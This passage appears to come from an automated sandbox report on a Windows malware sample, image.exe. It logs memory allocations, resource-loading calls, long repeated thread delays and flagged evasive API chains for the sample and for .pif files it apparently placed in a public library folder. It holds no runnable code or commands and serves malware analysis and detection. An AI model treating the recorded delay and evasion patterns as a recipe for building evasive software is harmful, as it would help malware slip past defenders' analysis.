            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2CBC000 memory commit 500002816Jump to behavior
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2CBD000 memory commit 500199424Jump to behavior
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2CEE000 memory commit 501014528Jump to behavior
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2DE6000 memory commit 500006912Jump to behavior
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2DE8000 memory commit 500015104Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2CA0000 memory commit 500006912Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2CA1000 memory commit 500178944Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2CCC000 memory commit 500002816Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2CCD000 memory commit 500199424Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2CFE000 memory commit 501014528Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2DF6000 memory commit 500006912Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2DF8000 memory commit 500015104Jump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2ED0000 memory commit 500006912
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2ED1000 memory commit 500178944
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2EFC000 memory commit 500002816
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2EFD000 memory commit 500199424
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 2F2E000 memory commit 501014528
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 3026000 memory commit 500006912
            Source: C:\Users\Public\Libraries\Pumyophn.PIFMemory allocated: 3028000 memory commit 500015104
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 2F550000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 2F650000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 2F570000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 27400000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 27AC0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 277A0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 25B60000 memory reserve | memory write watch
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 25ED0000 memory reserve | memory write watch
            Source: C:\Users\Public\Libraries\nhpoymuP.pifMemory allocated: 27ED0000 memory reserve | memory write watch
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,3_2_004019F0
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 600000Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599891Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599766Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599656Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599547Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599437Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599328Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599219Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599109Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599000Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598891Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598766Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598641Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598531Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598393Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598266Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598156Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598037Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597922Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597812Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597703Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597594Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597469Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597359Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597250Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597140Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597031Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596922Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596812Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596703Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596580Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596453Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596343Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596231Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596125Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595984Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595827Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595719Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595609Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595500Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595391Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595281Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595170Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595062Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594953Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594844Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594734Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594625Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594516Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594406Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594297Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 600000
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599891
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599781
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599672
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599563
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599375
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599136
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599016
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598891
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598766
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598656
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598547
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598438
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598313
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598188
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598078
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597969
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597844
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595614
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 595110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594735
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594610
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594485
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594360
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594235
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 594110
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 593985
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 593860
            Source: C:\Users\Public\Libraries\nhpoymuP.pifWindow / User API: threadDelayed 1605Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifWindow / User API: threadDelayed 8247Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifWindow / User API: threadDelayed 7239
            Source: C:\Users\Public\Libraries\nhpoymuP.pifWindow / User API: threadDelayed 2578
            Source: C:\Users\Public\Libraries\nhpoymuP.pifEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_3-23778
            Source: C:\Users\Public\Libraries\nhpoymuP.pifEvasive API call chain: GetModuleFileName,DecisionNodes,Sleepgraph_3-23440
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 7476Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 7436Thread sleep time: -922337203685477s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -27670116110564310s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -600000s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599891s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 5816Thread sleep count: 1605 > 30Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 5816Thread sleep count: 8247 > 30Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599766s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599656s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599547s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599437s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599328s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599219s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599109s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -599000s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598891s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598766s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598641s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598531s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598393s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598266s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598156s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -598037s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597922s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597812s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597703s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597594s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597469s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597359s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597250s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597140s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -597031s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596922s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596812s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596703s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596580s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596453s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596343s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596231s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -596125s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595984s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595827s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595719s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595609s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595500s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595391s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595281s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595170s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -595062s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594953s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594844s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594734s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594625s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594516s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594406s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 4192Thread sleep time: -594297s >= -30000sJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep count: 35 > 30
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -32281802128991695s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -600000s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599891s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 3652Thread sleep count: 7239 > 30
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 3652Thread sleep count: 2578 > 30
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599781s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599672s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599563s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep count: 31 > 30
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599375s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599136s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -599016s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598891s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598766s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598656s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598547s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598438s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598313s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598188s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -598078s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597969s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597844s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597735s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597610s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597485s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597360s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597235s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -597110s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596985s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596860s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596735s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596610s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596485s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596360s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596235s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -596110s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595985s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595860s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595735s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595614s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595485s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595360s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595235s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -595110s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594985s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594860s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594735s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594610s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594485s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594360s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594235s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -594110s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -593985s >= -30000s
            Source: C:\Users\Public\Libraries\nhpoymuP.pif TID: 2188Thread sleep time: -593860s >= -30000s
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C958B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,0_2_02C958B4
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 600000Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599891Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599766Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599656Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599547Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599437Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599328Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599219Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599109Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 599000Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598891Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598766Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598641Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598531Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598393Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598266Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598156Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 598037Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597922Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597812Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597703Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597594Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597469Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597359Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597250Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597140Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 597031Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596922Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596812Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596703Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596580Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifThread delayed: delay time: 596453Jump to behavior
